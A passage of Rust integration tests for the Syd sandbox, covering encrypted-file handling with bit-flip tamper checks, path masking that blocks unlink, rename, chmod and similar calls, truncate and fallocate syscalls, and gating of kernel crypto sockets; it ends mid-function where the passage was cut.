fn test_syd_crypt_ftruncate_deny_1() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("diff", "python3", "sh");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m("sandbox/truncate:on")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.crypt
echo 'Change return success. Going and coming without error. Action brings good fortune.' >> test.raw
cat >test.py <<'EOF'
import os, errno, fcntl
fd = os.open("test.crypt", os.O_WRONLY)
try:
os.ftruncate(fd, 0)
raise RuntimeError("Expected EACCES but succeeded!")
except OSError as e:
if e.errno != errno.EACCES:
raise
os.close(fd)
EOF
cat test.py
python3 test.py
cat test.crypt
diff -u test.raw test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_ftruncate_deny_2() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("diff", "python3", "sh");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m("sandbox/truncate:on")
.m(format!("allow/truncate+{cwd}/*.crypt"))
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.crypt
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.raw
cat >test.py <<'EOF'
import os, errno, fcntl
fd = os.open("test.crypt", os.O_WRONLY)
try:
os.ftruncate(fd, 0)
raise RuntimeError("Expected EPERM but succeeded!")
except OSError as e:
if e.errno != errno.EPERM:
raise
os.close(fd)
EOF
cat test.py
python3 test.py
cat test.crypt
diff -u test.raw test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mask_simple() -> TestResult {
skip_unless_available!("diff", "readlink", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/read,write,create:on")
.m("allow/read,write,create+/***")
.argv(["sh", "-cx"])
.arg(
r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > tao.orig
echo 'Change return success. Going and coming without error. Action brings good fortune.' > tao.mask
abs=$(readlink -f tao.mask)
test -f "$abs" || exit 1
test -c "/dev/syd/mask+${abs}" || exit 2
test -c "$abs" || exit 3
cat tao.mask || exit 4
echo > tao.mask || exit 5
test -c "/dev/syd/mask-${abs}" || exit 6
diff -u tao.orig tao.mask || exit 7
test -c "/dev/syd/mask+${abs}" || exit 8
test -c "$abs" || exit 9
cat tao.mask || exit 10
echo > tao.mask || exit 11
test -c "/dev/syd/mask^" || exit 12
echo > tao.mask || exit 13
diff -u tao.orig tao.mask && exit 14 || true
true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mask_target() -> TestResult {
skip_unless_available!("diff", "readlink", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/read,write,create:on")
.m("allow/read,write,create+/***")
.argv(["sh", "-cx"])
.arg(
r##"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > tao.orig
:> tao.mask
abs=$(readlink -f tao.mask)
test -f "$abs" || exit 1
test -c "/dev/syd/mask+/**/*.orig:${abs}" || exit 2
test -f tao.orig || exit 3
cat tao.orig || exit 4
diff -u tao.orig tao.mask || exit 5
test -c "/dev/syd/mask-/**/*.orig" || exit 6
diff -u tao.orig tao.mask && exit 7
test -c "/dev/syd/mask+/**/*.orig:${abs}" || exit 8
test -c "/dev/syd/deny/all+${abs}" || exit 9
cat tao.mask && exit 10
cat tao.orig || exit 11
test -c "/dev/syd/allow/all+${abs}" || exit 12
cat tao.mask || exit 13
cat tao.orig || exit 14
test -c "/dev/syd/deny/all+/**/*.orig" || exit 15
cat tao.mask || exit 16
cat tao.orig && exit 17
true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mask_target_dir_override() -> TestResult {
skip_unless_available!("diff", "readlink", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/read,write,create:on")
.m("allow/read,write,create+/***")
.argv(["sh", "-cx"])
.arg(
r##"
mkdir tao.orig_dir
echo 'Change return success. Going and coming without error. Action brings good fortune.' > tao.orig_dir/tao.orig
echo guess-whos-back > tao.orig_dir/real-slim-shady
mkdir tao.mask_dir
:> tao.mask_dir/tao.mask
echo real-slim-shady > tao.mask_dir/eminem
dabs=$(readlink -f tao.mask_dir)
fabs=$(readlink -f tao.mask_dir/tao.mask)
test -d "$dabs" || exit 1
test -f "$fabs" || exit 2
test -c "/dev/syd/mask+/**/*.orig*/***:${fabs}:${dabs}" || exit 3
test -f tao.orig_dir/tao.orig || exit 4
cat tao.orig_dir/tao.orig || exit 5
diff -u tao.orig_dir/tao.orig tao.mask_dir/tao.mask || exit 6
ls tao.orig_dir | grep -q eminem || exit 7
test -c "/dev/syd/mask-/**/*.orig*/***" || exit 8
diff -u tao.orig_dir/tao.orig tao.mask_dir/tao.mask && exit 8
ls tao.orig_dir | grep -q real-slim-shady || exit 9
test -c "/dev/syd/mask+/**/*.orig*/***:${fabs}:${dabs}" || exit 10
test -f tao.orig_dir/tao.orig || exit 11
cat tao.orig_dir/tao.orig || exit 12
diff -u tao.orig_dir/tao.orig tao.mask_dir/tao.mask || exit 13
ls tao.orig_dir | grep -q eminem || exit 14
test -c "/dev/syd/mask^" || exit 15
diff -u tao.orig_dir/tao.orig tao.mask_dir/tao.mask && exit 16
ls tao.orig_dir | grep -q real-slim-shady || exit 17
true
"##,
)
.status()
.expect("execute syd");
// FIXME: Directory masking is broken!
// cfarm27 exits with 7!
ignore!(status.success(), "status:{status:?}");
Ok(())
}
fn test_syd_mask_stat() -> TestResult {
skip_unless_available!("cmp", "sh", "stat");
let status = syd()
.p("off")
.m("lock:exec")
.m("sandbox/lpath,rpath,wpath,cpath:on")
.m("allow/lpath,rpath,wpath,cpath+/***")
.argv(["sh", "-cx"])
.arg(
r##"
test -c '/dev/syd/mask+/dev/random:/dev/urandom'
stat -c '%t.%T' /dev/random > random.stat
stat -c '%t.%T' /dev/urandom > urandom.stat
cmp random.stat urandom.stat
test -c '/dev/syd/mask-/dev/random'
stat -c '%t.%T' /dev/random > random.stat
stat -c '%t.%T' /dev/urandom > urandom.stat
cmp random.stat urandom.stat && exit 1 || true
test -c '/dev/syd/mask+/dev/random:/dev/urandom'
stat -c '%t.%T' /dev/random > random.stat
stat -c '%t.%T' /dev/urandom > urandom.stat
cmp random.stat urandom.stat
test -c '/dev/syd/mask^'
stat -c '%t.%T' /dev/random > random.stat
stat -c '%t.%T' /dev/urandom > urandom.stat
cmp random.stat urandom.stat && exit 2 || true
true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mask_prevent_unlink() -> TestResult {
skip_unless_available!("rm", "sh", "unlink");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
:>test.log
test -c "/dev/syd/mask+/**/*.log"
rm test.log && exit 1 || true
rm -f test.log && exit 1 || true
unlink test.log && exit 1 || true
test -e test.log || exit 1
test -c "/dev/syd/mask-/**/*.log"
unlink test.log
test -e test.log || exit 0 && true
true
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mask_prevent_rename() -> TestResult {
skip_unless_available!("mv", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
:>test.log
test -c "/dev/syd/mask+/**/*.log"
mv test.log test.lol && exit 1 || true
test -e test.log
test -c "/dev/syd/mask-/**/*.log"
mv test.log test.lol
test -e test.lol
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mask_prevent_link() -> TestResult {
skip_unless_available!("ln", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
:>test.log
test -c "/dev/syd/mask+/**/*.log"
ln test.log test.lol && exit 1 || true
test -e test.log
test -c "/dev/syd/mask-/**/*.log"
ln test.log test.lol
test -e test.lol
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mask_prevent_truncate() -> TestResult {
skip_unless_available!("diff", "sh", "truncate");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
:>test.log
test -c "/dev/syd/mask+/**/*.log"
truncate -s0 test.log && exit 1 || true
test -c "/dev/syd/mask-/**/*.log"
truncate -s0 test.log
test -s test.log && exit 1 || exit 0
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mask_prevent_ftruncate() -> TestResult {
skip_unless_available!("python3", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
:>test.log
test -c "/dev/syd/mask+/**/*.log"
python3 <<'EOF'
import os, errno
fd = os.open("test.log", os.O_WRONLY|os.O_APPEND)
try:
os.ftruncate(fd, 0)
raise RuntimeError("Expected EINVAL")
except OSError as e:
if e.errno != errno.EINVAL: raise
EOF
python3 <<'EOF'
import os, errno
fd = os.open("test.log", os.O_RDWR|os.O_TRUNC)
EOF
test -c "/dev/syd/mask-/**/*.log"
python3 <<'EOF'
import os
fd = os.open("test.log", os.O_WRONLY)
os.ftruncate(fd, 0)
EOF
test -s test.log && exit 1 || exit 0
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mask_prevent_chmod() -> TestResult {
skip_unless_available!("chmod", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
:>test.log
test -c "/dev/syd/mask+/**/*.log"
chmod 0600 test.log && exit 1 || true
test -c "/dev/syd/mask-/**/*.log"
chmod 0600 test.log
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_mask_prevent_chown() -> TestResult {
skip_unless_cap!("chown");
skip_unless_available!("chown", "sh", "id");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
:>test.log
test -c "/dev/syd/mask+/**/*.log"
chown 0 test.log && exit 1 || true
test -c "/dev/syd/mask-/**/*.log"
chown 0 test.log
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_0_mask_prevent_chgrp() -> TestResult {
skip_unless_cap!("chown");
skip_unless_available!("chgrp", "sh", "id");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
:>test.log
test -c "/dev/syd/mask+/**/*.log"
chgrp 0 test.log && exit 1 || true
test -c "/dev/syd/mask-/**/*.log"
chgrp 0 test.log
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mask_prevent_utime() -> TestResult {
skip_unless_available!("touch", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
:>test.log
test -c "/dev/syd/mask+/**/*.log"
touch -t 200001010000 test.log && exit 1 || true
test -c "/dev/syd/mask-/**/*.log"
touch -t 200001010000 test.log
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mask_prevent_setxattr() -> TestResult {
skip_unless_available!("setfattr", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
:>test.log
test -c "/dev/syd/mask+/**/*.log"
setfattr -n user.test -v "value" test.log && exit 1 || true
test -c "/dev/syd/mask-/**/*.log"
setfattr -n user.test -v "value" test.log
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mask_prevent_removexattr() -> TestResult {
skip_unless_available!("setfattr", "sh");
let status = syd()
.p("off")
.m("lock:exec")
.argv(["sh", "-cex"])
.arg(
r##"
:>test.log
test -c "/dev/syd/mask-/**/*.log"
setfattr -n user.test -v "value" test.log
test -c "/dev/syd/mask+/**/*.log"
setfattr -x user.test test.log && exit 1 || true
test -c "/dev/syd/mask-/**/*.log"
setfattr -x user.test test.log
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_truncate() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("truncate", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_truncate64() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("truncate64", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ftruncate() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("ftruncate", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_ftruncate64() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("ftruncate64", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_exp_ftruncate64_large() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("ftruncate64_large", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_fallocate64() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("fallocate64", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_fallocate_mode_punch_hole() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("fallocate_mode", ["punch_hole"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_fallocate_mode_collapse_range() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("fallocate_mode", ["collapse_range"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_fallocate_mode_insert_range() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("fallocate_mode", ["insert_range"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_fallocate_mode_einval() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("fallocate_mode", ["einval"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// This test is expensive and may fill up disk space on CI:
// https://builds.sr.ht/~alip/job/1602601#task-test
fn test_syd_exp_fallocate64_large() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("fallocate64_large", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_kcapi_hash_block() -> TestResult {
let status = syd()
.p("off")
.do_("kcapi_hash_block", ["0"])
.status()
.expect("execute syd");
assert_status_code!(status, EAFNOSUPPORT);
let status = syd()
.p("off")
.m("trace/allow_unsafe_kcapi:1")
.do_("kcapi_hash_block", ["0"])
.status()
.expect("execute syd");
assert_status_code_matches!(status, 0 | EAFNOSUPPORT);
let status = syd()
.p("off")
.m("sandbox/net:on")
.do_("kcapi_hash_block", ["0"])
.status()
.expect("execute syd");
assert_status_not_supported!(status);
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("trace/allow_unsafe_kcapi:1")
.do_("kcapi_hash_block", ["0"])
.status()
.expect("execute syd");
assert_status_code_matches!(status, 0 | EAFNOSUPPORT);
Ok(())
}
fn test_syd_kcapi_hash_stream() -> TestResult {
let status = syd()
.p("off")
.do_("kcapi_hash_stream", ["0"])
.status()
.expect("execute syd");
assert_status_code_matches!(status, EAFNOSUPPORT);
let status = syd()
.p("off")
.m("trace/allow_unsafe_kcapi:1")
.do_("kcapi_hash_stream", ["0"])
.status()
.expect("execute syd");
assert_status_code_matches!(status, 0 | EAFNOSUPPORT);
let status = syd()
.p("off")
.m("sandbox/net:on")
.do_("kcapi_hash_stream", ["0"])
.status()
.expect("execute syd");
assert_status_not_supported!(status);
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("trace/allow_unsafe_kcapi:1")
.do_("kcapi_hash_stream", ["0"])
.status()
.expect("execute syd");
assert_status_code_matches!(status, 0 | EAFNOSUPPORT);
Ok(())
}
fn test_syd_kcapi_cipher_block() -> TestResult {
let status = syd()
.p("off")
.do_("kcapi_cipher_block", ["0"])
.status()
.expect("execute syd");
assert_status_code!(status, EAFNOSUPPORT);
let status = syd()
.p("off")
.m("trace/allow_unsafe_kcapi:1")
.do_("kcapi_cipher_block", ["0"])
.status()
.expect("execute syd");
assert_status_code_matches!(status, 0 | EAFNOSUPPORT);
let status = syd()
.p("off")
.m("sandbox/net:on")
.do_("kcapi_cipher_block", ["0"])
.status()
.expect("execute syd");
assert_status_code_matches!(status, 0 | EAFNOSUPPORT);
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("trace/allow_unsafe_kcapi:1")
.do_("kcapi_cipher_block", ["0"])
.status()
.expect("execute syd");
assert_status_code_matches!(status, 0 | EAFNOSUPPORT);
Ok(())
}
fn test_syd_kcapi_cmac_sef() -> TestResult {
// Without kcapi allowed, AF_ALG socket creation is blocked (EAFNOSUPPORT).
// On kernels without cmac(aes), bind returns ENOENT even if allowed.
let status = syd()
.p("off")
.do_("kcapi_cmac_sef", NONE)
.status()
.expect("execute syd");
assert_status_code_matches!(status, EAFNOSUPPORT);
let status = syd()
.p("off")
.m("trace/allow_unsafe_kcapi:1")
.do_("kcapi_cmac_sef", NONE)
.status()
.expect("execute syd");
assert_status_code_matches!(status, 0 | EAFNOSUPPORT | ENOENT);
let status = syd()
.p("off")
.m("sandbox/net:on")
.do_("kcapi_cmac_sef", NONE)
.status()
.expect("execute syd");
assert_status_code_matches!(status, EAFNOSUPPORT);
let status = syd()
.p("off")
.m("sandbox/net:on")
.m("trace/allow_unsafe_kcapi:1")
.do_("kcapi_cmac_sef", NONE)
.status()
.expect("execute syd");
assert_status_code_matches!(status, 0 | EAFNOSUPPORT | ENOENT);
Ok(())
}
fn test_syd_crypt_bit_flip_header() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "shuf");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=1 count=65536 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_bit = &SYD_BIT.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
flip_random_bit() {{
local idx=$(shuf -i ${{1}}-${{2}} -n1)
exec {syd_bit} -i $idx $3
}}
# Flip a random bit in the magic header (first 5 bytes).
flip_random_bit 0 39 ./test.crypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
// Bit flips in the file magic
// will not generate a bad message
// error. Instead it will make Syd
// ignore those files and open them
// as-is.
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.do_("open", ["./test.crypt"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_bit_flip_auth_tag() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "shuf");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=1 count=65536 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_bit = &SYD_BIT.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
flip_random_bit() {{
local idx=$(shuf -i ${{1}}-${{2}} -n1)
exec {syd_bit} -i $idx $3
}}
# Flip a random bit in the auth tag (32 bytes after the first 5 bytes).
flip_random_bit 40 295 ./test.crypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.do_("open", ["./test.crypt"])
.status()
.expect("execute syd");
assert_status_bad_message!(status);
Ok(())
}
fn test_syd_crypt_bit_flip_iv() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "shuf");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=1 count=65536 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_bit = &SYD_BIT.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
flip_random_bit() {{
local idx=$(shuf -i ${{1}}-${{2}} -n1)
exec {syd_bit} -i $idx $3
}}
# Flip a random bit in the auth tag (16 bytes after the first 5+32 bytes).
flip_random_bit 296 423 ./test.crypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.do_("open", ["./test.crypt"])
.status()
.expect("execute syd");
assert_status_bad_message!(status);
Ok(())
}
fn test_syd_crypt_bit_flip_ciphertext() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "shuf");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=1 count=65536 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_bit = &SYD_BIT.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
flip_random_bit() {{
local idx=$(shuf -i ${{1}}-${{2}} -n1)
exec {syd_bit} -i $idx $3
}}
# Flip a random bit in the ciphertext (starts after the first 53 bytes).
flip_random_bit 424 524711 ./test.crypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.do_("open", ["./test.crypt"])
.status()
.expect("execute syd");
assert_status_bad_message!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_file_modes() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("perl");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["perl", "-e"])
.arg(
r##"
use strict;
use warnings;
use Fcntl qw(:DEFAULT :flock SEEK_END);
my $message = 'Change return success. Going and coming without error. Action brings good fortune.';
my $file = 'test.crypt';
open my $fh_write, '>', $file or die 'Failed to open file for writing';
print $fh_write $message;
close $fh_write;
open my $fh_read, '<', $file or die 'Failed to open file for reading';
my $line = <$fh_read>;
close $fh_read;
die 'Content mismatch in read-only step' unless $line eq $message;
open my $fh_rw, '+<', $file or die 'Failed to open file for read-write';
print $fh_rw $message;
seek $fh_rw, 0, 0;
$line = <$fh_rw>;
close $fh_rw;
die 'Content mismatch in read-write step' unless $line eq $message;
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bsize_single_cmp_tiny_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=2 count=8 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_single_cmp_null_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/null | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bsize_single_aes_tiny_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=2 count=8 status=none | tee ./test.plain > ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
let syd_aes = &SYD_AES.to_string();
let syd_hex = &SYD_HEX.to_string();
let status = Command::new("sh")
.arg("-cex")
.arg(format!(
r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
{syd_aes} -v -d -k{key} -i${{iv}} < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
))
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_single_aes_null_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee", "find");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/null | tee ./test.plain > ./test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
// Note, when the file is written with zero size.
// we delete the IV to prevent IV reuse. Here
// is to test the iv attribute indeed does not
// exist.
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
find test.crypt -type f -empty | grep .
"##,
)
.status()
.expect("execute sh");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bsize_append_cmp_tiny_copy() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("dd", "sh", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["sh", "-cex"])
.arg(
r##"
dd if=/dev/random bs=16 count=1 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=32 count=2 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bscan_append_cmp_mini_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(
r##"
test -t 2 && t=0 || t=1
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for i in {1..128}; do
dd if=/dev/random bs=1024 count=1 status=none | tee -a ./test.plain >> ./test.crypt
test $t && printf >&2 "\r\033[K%s" "[*] $i out of 128 writes done..."
done
test $t && printf >&2 "\r\033[K%s\n" "[*] $i out of 128 writes done."
set -x
cmp test.plain test.crypt
"##,
)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bscan_append_cmp_mini_copy_mul() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("awk", "bash", "dd", "seq", "split", "tee", "wc");
let key = key_gen_test().expect("key_gen_test");
let cwd = current_dir(false)?.display().to_string();
let syd_cpu = &SYD_CPU.to_string();
let status = syd()
.p("off")
.m(format!("crypt/key:{key}"))
.m(format!("crypt+{cwd}/*.crypt"))
.argv(["bash", "-cex"])
.arg(format!(
r##"
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
seq 1 128 > blocks.lst
split -l $(( $(wc -l blocks.lst | awk '{{print $1}}') / $({syd_cpu}) + 1 )) blocks.lst block-split-
set +x
for f in block-split-*; do
while read -r -d$'\n' i; do
dd if=/dev/random bs=1 count=1 status=none | tee -a ./test.plain >> ./test.crypt
done < "$f"
done
set -x
cmp test.plain test.crypt
"##,
))
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_crypt_sandboxing_bscan_append_cmp_incr_copy_seq() -> TestResult {
skip_unless_kernel_crypto_is_supported!();
skip_unless_available!("bash", "dd", "tee");
let key = key_gen_test().expect("key_gen_test");
